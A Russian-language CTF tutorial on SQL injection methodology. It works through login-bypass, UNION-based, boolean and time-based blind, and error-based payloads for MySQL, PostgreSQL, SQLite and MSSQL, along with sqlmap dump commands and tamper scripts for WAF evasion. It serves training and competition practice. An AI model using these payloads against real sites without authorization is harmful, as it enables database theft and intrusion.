
На последнем jeopardy-CTF я насчитал шесть веб-задач из десяти, завязанных на SQL-инъекции — от тривиального обхода логина до слепой инъекции в cookie, которую пришлось раскручивать посимвольно через time-based blind. Трое новичков в команде намертво застряли на ' OR '1'='1 и не сдвинулись за весь турнир. А те, кто закрыл пять задач за час, отличались не глубиной знания SQL, а наличием чёткой методологии: определи тип инъекции, выбери технику, при необходимости переключись на автоматизацию. Здесь — полный разбор этой методологии с конкретными пейлоадами, командами sqlmap и алгоритмом выбора вектора.
По MITRE ATT&CK SQL-инъекция — техника Exploit Public-Facing Application (T1190, Initial Access). Атакующий находит точку ввода в веб-приложении и через неё добирается до базы данных — тактика Collection, техника Databases (T1213.006). В продвинутых CTF-задачах инъекция ведёт к чтению файлов на сервере (Data from Local System, T1005) или к закреплению через SQL Stored Procedures (T1505.001, Persistence). По классификации OWASP это A03:2021 — Injection. Подробнее — в нашем руководстве по пентест веб-приложений.
В CTF цепочка обычно короче реального пентеста, но логика та же:
Каждый шаг зависит от результата предыдущего. Понимание этой последовательности — то, что отличает системный подход от хаотичного перебора пейлоадов.
Зачем злоумышленнику SQL-инъекция в реальном мире? Несанкционированный доступ к базе: учётки, платёжка, персональные данные. По данным Verizon DBIR 2025, 26% всех подтверждённых нарушений — веб-атаки, и инъекции остаются одним из основных векторов. В CTF всё проще: цель — флаг, но цепочка действий идентична.
Прежде чем запускать инструменты, нужно руками нащупать уязвимость. Алгоритм, который я применяю на каждой веб-задаче CTF, начинается с одинарной кавычки.
Вставляем ' в подозрительный параметр (GET/POST, cookie, заголовок). Три возможных исхода:
You have an error in your SQL syntax или Unterminated string literal. Это error-based SQLi — самый быстрый путь к флагу.' AND SLEEP(5)-- для MySQL или '; SELECT pg_sleep(5)-- для PostgreSQL. Задержка ответа на пять секунд — инъекция есть, но слепая.Если ни один вариант не сработал — параметр либо не уязвим, либо фильтруется. Переходим к следующей точке ввода.
Синтаксис пейлоадов критически различается между СУБД. По данным SQL Injection Cheat Sheet от Invicti, именно разница в синтаксисе — главная причина, почему универсальные пейлоады проваливаются на задачах средней сложности. Быстрые тесты:
%23 работает как комментарий (символ # в URL-кодировке) — MySQL/MariaDB. Дополнительно проверяем через @@version|| конкатенирует строки — PostgreSQL или SQLite' AND @@version>0-- возвращает результат — MySQL или MSSQL' UNION SELECT sqlite_version()-- успешен — SQLite| Операция | MySQL | PostgreSQL | SQLite | MSSQL |
|---|---|---|---|---|
| Комментарий | -- , # |
-- |
-- |
-- |
| Конкатенация строк | CONCAT() |
\|\| |
\|\| |
+ |
| Версия | @@version |
version() |
sqlite_version() |
@@version |
| Текущая БД | database() |
current_database() |
Нет | db_name() |
| Метаданные таблиц | information_schema.tables |
information_schema.tables |
sqlite_master |
information_schema.tables |
Определение СУБД на ранней стадии экономит десятки минут: вместо перебора всех вариантов пейлоадов работаешь с конкретным синтаксисом.
[Применимо: CTF-задачи с формой логина, где результат запроса определяет успешность аутентификации]
Классика CTF: форма входа, цель — залогиниться как admin без пароля. Приложение выполняет запрос вида SELECT * FROM users WHERE username = '[input]' AND password = '[input]'.
Если вбить в поле username значение administrator'--, а пароль оставить пустым, запрос превращается в SELECT * FROM users WHERE username = 'administrator'--' AND password = ''. Двойное тире комментирует проверку пароля — запрос возвращает запись администратора. Просто и красиво.
Вариации, которые регулярно попадаются на CTF:
' OR '1'='1'-- — универсальный обход, возвращает первого пользователя в таблице (обычно admin)admin'/* — inline-комментарий вместо --, работает в MySQL' OR 1=1 LIMIT 1-- — если приложение ожидает ровно одну запись в результатеadmin' AND '1'='1 — закрываем кавычку без комментария, когда -- и # фильтруются' OR 1=1 ORDER BY 1-- — контролируем порядок, чтобы вернулся нужный пользовательПредусловия: техника работает только если приложение конструирует SQL-запрос через конкатенацию строк, а не через параметризованные запросы (prepared statements). В CTF это встречается почти всегда; в реальных приложениях — по данным OWASP A03:2021 — остаётся распространённой ошибкой.
Когда не работает: приложение хеширует пароль на стороне приложения (а не в SQL), проверяет количество возвращённых строк или использует ORM с автоматической параметризацией. Ещё один подводный камень — GBK-кодировка: функция addslashes() экранирует кавычку, но многобайтовый символ GBK может «поглотить» обратный слеш. На CTF это отдельная категория задач.
[Применимо: задачи, где результат SELECT отображается на странице — каталоги, профили, поиск]
UNION-based инъекция — рабочая лошадка CTF-задач на sql инъекции ctf. Оператор UNION присоединяет к оригинальному запросу произвольный SELECT, и результат появляется прямо на странице. По данным Acunetix, UNION-based SQLi позволяет объединить результаты нескольких SELECT-запросов в единый HTTP-ответ.
Без точного совпадения числа столбцов UNION выбросит ошибку. Два метода:
ORDER BY (бинарный поиск). Последовательно увеличиваем номер: ' ORDER BY 1-- — ОК, ' ORDER BY 5-- — ошибка, ' ORDER BY 3-- — ОК, ' ORDER BY 4-- — ошибка. Итого три столбца. Находится за log2(N) запросов — при 10 столбцах это четыре попытки вместо десяти.
UNION SELECT NULL. Добавляем NULL-значения: ' UNION SELECT NULL-- — ошибка, ' UNION SELECT NULL, NULL-- — ошибка, ' UNION SELECT NULL, NULL, NULL-- — результат. Медленнее ORDER BY, но надёжнее когда ORDER BY синтаксически запрещён контекстом запроса.
После определения количества столбцов находим, какие из них отображаются на странице. Запрос -1' UNION SELECT 'aaa', 'bbb', 'ccc'-- покажет, где появляются маркерные строки — именно в эти позиции подставляем подзапросы. Отрицательное значение -1 гарантирует, что оригинальный запрос вернёт пустой результат и не перекроет данные UNION.
Допустим, MySQL, три столбца, второй отображается:
-- Шаг 1: таблицы текущей БД
-1' UNION SELECT 1, GROUP_CONCAT(table_name), 3
FROM information_schema.tables
WHERE table_schema=database()--
-- Шаг 2: столбцы целевой таблицы
-1' UNION SELECT 1, GROUP_CONCAT(column_name), 3
FROM information_schema.columns
WHERE table_name='flag'--
-- Шаг 3: забираем флаг
-1' UNION SELECT 1, flag, 3 FROM flag--
Для SQLite вместо information_schema используется sqlite_master: запрос -1' UNION SELECT 1, sql, 3 FROM sqlite_master WHERE type='table'-- вернёт CREATE TABLE со всеми именами столбцов. Это ключевое отличие, на котором стабильно ломаются новички, привыкшие к MySQL.
Ограничения UNION-based. Техника мертва, если вывод запроса не отображается на странице — тогда нечего «юнионить». В PostgreSQL строже типизация столбцов — может потребоваться CAST(1 AS text). WAF-фильтры на слово UNION обходятся через смену регистра (uNiOn), inline-комментарии (UN/**/ION) или кодирование через hex-значения.
[Применимо: формы логина без вывода данных, cookie-based инъекции, задачи без отображения ошибок]
Blind SQL-инъекция — самый муторный тип задач в CTF. Приложение не возвращает ни результат запроса, ни ошибку — только косвенные признаки. Как отмечает PortSwigger, многие реальные уязвимости являются слепыми, и техники UNION к ним неприменимы. Разберём каждый подтип.
Принцип: формулируем вопрос TRUE/FALSE и определяем ответ по поведению приложения. Классический пример из PortSwigger Web Security Academy — cookie TrackingId:
xyz' AND '1'='1 — страница содержит «Welcome back» (TRUE)xyz' AND '1'='2 — «Welcome back» отсутствует (FALSE)Данные извлекаются посимвольно через бинарный поиск. Пейлоад xyz' AND SUBSTRING((SELECT password FROM users WHERE username='Administrator'),1,1)>'m — если TRUE, первый символ пароля в диапазоне n-z. Каждый символ определяется за 6-8 запросов (бинарный поиск по алфавиту 26 букв + цифры + спецсимволы).
Для извлечения строки из 20 символов потребуется 120-160 HTTP-запросов. Руками это мучительно, и именно здесь sqlmap экономит часы. Для MySQL вместо SUBSTRING можно использовать MID() или SUBSTR() — на некоторых CTF одна из функций заблокирована фильтром, так что держите в голове все три.
Когда контент страницы вообще не меняется — ни текст, ни HTTP-код ответа — остаётся единственный канал: время. Логика: если условие истинно, СУБД засыпает на N секунд.
Пейлоады различаются по СУБД:
' AND IF(SUBSTRING((SELECT flag FROM flag),1,1)='s', SLEEP(5), 0)--'; SELECT CASE WHEN SUBSTRING(flag,1,1)='s' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM flag--'; IF (SUBSTRING((SELECT flag FROM flag),1,1)='s') WAITFOR DELAY '0:0:5'--По данным OWASP, для MySQL можно использовать BENCHMARK(5000000, ENCODE('MSG','by 5 seconds')) вместо SLEEP() — если SLEEP заблокирован WAF. Функция BENCHMARK повторяет операцию указанное число раз, создавая задержку без явного вызова sleep-функции.
Извлечение 20-символьного флага при задержке в 3 секунды — около 300-480 секунд чистого ожидания плюс сетевые задержки. На CTF с лимитом в два часа это критично: если задача решается только time-based, автоматизация обязательна.
[Применимо: CTF-задачи с отображением ошибок БД, конфигурации без подавления verbose errors]
Error-based SQLi — самый быстрый путь к флагу, когда приложение показывает тексты ошибок. Как описывает PortSwigger, функция CAST() превращает слепую инъекцию в видимую: попытка привести строку к integer заставляет СУБД вернуть содержимое строки прямо в тексте ошибки.
Для MySQL основные функции — extractvalue() и updatexml(). Пейлоад ' AND extractvalue(1, concat(0x7e, (SELECT flag FROM flag)))-- заставляет функцию получить XPath-выражение вида ~FLAG{...} вместо корректного /root/node, и она выбрасывает ошибку XPATH syntax error: '~FLAG{...}'. Флаг — прямо в тексте ошибки. Красота.
Ограничение: extractvalue() и updatexml() в MySQL возвращают максимум 32 символа. Для длинных значений придётся резать через SUBSTRING(): конструкция extractvalue(1, concat(0x7e, substring((SELECT flag FROM flag), 10, 32))) извлекает данные порциями.
Для PostgreSQL стандартный приём — CAST(): пейлоад ' AND 1=CAST((SELECT flag FROM flag LIMIT 1) AS int)-- вернёт ERROR: invalid input syntax for type integer: "FLAG{...}".
Отдельная техника — conditional errors через CASE WHEN, описанная PortSwigger для случаев, когда контент страницы не меняется, но приложение по-разному обрабатывает ошибки. Пейлоад: xyz' AND (SELECT CASE WHEN (SUBSTRING(password,1,1)>'m') THEN 1/0 ELSE 'a' END FROM users WHERE username='Administrator')='a. Если условие истинно — деление на ноль и HTTP 500; если ложно — нормальный ответ. Это гибрид blind и error-based: посимвольное извлечение, но через ошибку деления.
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-devЯ использую sqlmap как инструмент эксплуатации, а не обнаружения — сначала нахожу инъекцию руками через Burp Repeater, подтверждаю PoC, и только потом скармливаю sqlmap для автоматизации извлечения данных. Чем больше информации передать sqlmap, тем быстрее он отрабатывает и тем меньше генерирует мусорного трафика.
# Из сохранённого Burp-запроса (рекомендуется)
python sqlmap.py -r request.txt --dbs
# С указанием СУБД и техники (ускоряет в 3-5 раз)
python sqlmap.py -r request.txt --dbms=mysql --technique=U --dbs
# Полная цепочка: БД → таблицы → столбцы → дамп
python sqlmap.py -r request.txt -D ctf_db -T flag --dump
# Boolean-blind с маркером TRUE-ответа
python sqlmap.py -r request.txt --technique=B --string="Welcome" --dbs
Ключевые флаги для CTF:
| Флаг | Назначение | Когда применять |
|---|---|---|
-r request.txt |
Загрузка запроса из файла Burp | Всегда, когда инъекция не в GET-параметре |
--dbms=mysql |
Указание СУБД | После ручного определения СУБД |
--technique=BEUSTQ |
Выбор техник | Для сужения области сканирования |
--level=3 --risk=2 |
Глубина тестирования | Когда стандартные пейлоады не работают |
--string="Welcome" |
Маркер TRUE-ответа | Для boolean-based blind |
--time-sec=3 |
Задержка для time-based | Для ускорения на CTF |
-p id |
Конкретный параметр | Когда параметров несколько |
--threads=10 |
Параллельные запросы | Только для boolean-based |
Ограничения: флаг --threads нельзя использовать с time-based blind — параллельные запросы со SLEEP() дают ложные результаты. Параметры --level=5 --risk=3 генерируют огромный объём трафика и могут положить слабый CTF-сервер. На соревнованиях с ограничением по запросам ставьте --delay=1.
На продвинутых CTF-задачах часто встречаются WAF-фильтры: блокировка ключевых слов UNION, SELECT, пробелов, комментариев. Sqlmap поддерживает tamper-скрипты — модули, которые трансформируют пейлоад перед отправкой.
| Tamper-скрипт | Что делает | Против какого фильтра |
|---|---|---|
space2comment |
Заменяет пробелы на /**/ |
Фильтрация пробелов |
randomcase |
Меняет регистр (sElEcT) |
Точное совпадение ключевых слов |
between |
Заменяет > на NOT BETWEEN 0 AND |
Фильтрация операторов сравнения |
charencode |
URL-кодирует пейлоад | Базовые WAF-правила |
equaltolike |
Заменяет = на LIKE |
Фильтрация знака = |
hex2char |
Кодирует строки в hex | Фильтрация кавычек |
Пример: python sqlmap.py -r request.txt --tamper=space2comment,randomcase --dbms=mysql --dbs. Скрипты комбинируются через запятую. Для нестандартных фильтров sqlmap позволяет написать собственный tamper на Python — несколько строк кода с функцией tamper(payload), которая модифицирует строку перед отправкой.
Сравнение ручной эксплуатации и sqlmap:
| Характеристика | Ручная эксплуатация | sqlmap |
|---|---|---|
| Скорость обнаружения | Быстрее для простых случаев | Медленнее из-за перебора |
| Скорость извлечения (blind) | Мучительно | В разы быстрее |
| Точность | Полный контроль | Ложные срабатывания на нестандартном поведении |
| Обход кастомных фильтров | Максимальная гибкость | Требует tamper-скриптов или --prefix/--suffix |
| CTF с rate-limit | Не проблема | Может спровоцировать бан |
| Когда использовать | Первичная разведка, нестандартные задачи | Blind-извлечение, дамп больших таблиц |
| Когда НЕ использовать | Извлечение 50+ символов blind | Жёсткий rate-limit, нестандартный SQL-контекст |
Выбор техники — не вопрос вкуса, а результат классификации ответа приложения. Алгоритм, который я использую на каждом CTF:
Вставил ' — видишь SQL-ошибку в ответе?
- Да — Error-based. Используй extractvalue() для MySQL, CAST() для PostgreSQL. Один запрос = одна порция данных. Самый быстрый путь.
- Нет — переходи к шагу 2.
Результат запроса виден на странице? (текст, таблица, данные из БД в HTML) - Да — UNION-based. Определи число столбцов через ORDER BY, найди отображаемый столбец, подставь подзапрос. - Нет — переходи к шагу 3.
Контент страницы различается при TRUE/FALSE? (отправь ' AND '1'='1 и ' AND '1'='2 — ответ разный?)
- Да — Boolean-based blind. Извлекай посимвольно. Автоматизируй sqlmap: --technique=B --string="маркер".
- Нет — переходи к шагу 4.
Ответ задерживается при SLEEP(5)?
- Да — Time-based blind. Самый медленный путь. Сразу sqlmap: --technique=T --time-sec=3.
- Нет — параметр не уязвим, либо фильтруется. Пробуй tamper-скрипты или другую точку ввода.
Правильная классификация на этом этапе экономит 30-40 минут на задаче. Ошибка в выборе техники — главная причина, почему новички тратят весь турнир на одну задачу.
Из опыта решения CTF: большинство участников переоценивают сложность blind-инъекций и недооценивают error-based. Если на задаче видны ошибки СУБД — не тратьте время на UNION, берите extractvalue() или CAST(). Один HTTP-запрос с error-based пейлоадом даёт столько же данных, сколько полная UNION-цепочка, но без возни с определением числа столбцов и поиском отображаемой позиции.
Обратная ситуация тоже верна: если ни ошибок, ни вывода данных — не пытайтесь заставить работать UNION. Переключайтесь на blind и автоматизируйте. Попытки подогнать неподходящую технику — стабильная потеря 40 минут.
И ещё момент, который редко обсуждают: sqlmap — не серебряная пуля. На нестандартных задачах с кастомной обфускацией или вложенными запросами sqlmap без ручной настройки не справляется. Я видел задачи, где sqlmap с дефолтами крутился 20 минут и ничего не нашёл, хотя руками через Burp Repeater инъекция подтвердилась за 30 секунд. Причина — нестандартный контекст SQL-запроса, который не покрывается на --level=1. После указания --level=3 --risk=2 --prefix="'))" --suffix="-- -" всё заработало. Методология «сначала руками, потом автоматизация» работает стабильнее, чем слепой запуск sqlmap на каждый параметр. Если хочешь не просто writeup'ы читать, а пройти всю цепочку самому — на WAPT эту связку проходят в нескольких модулях с лабами.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...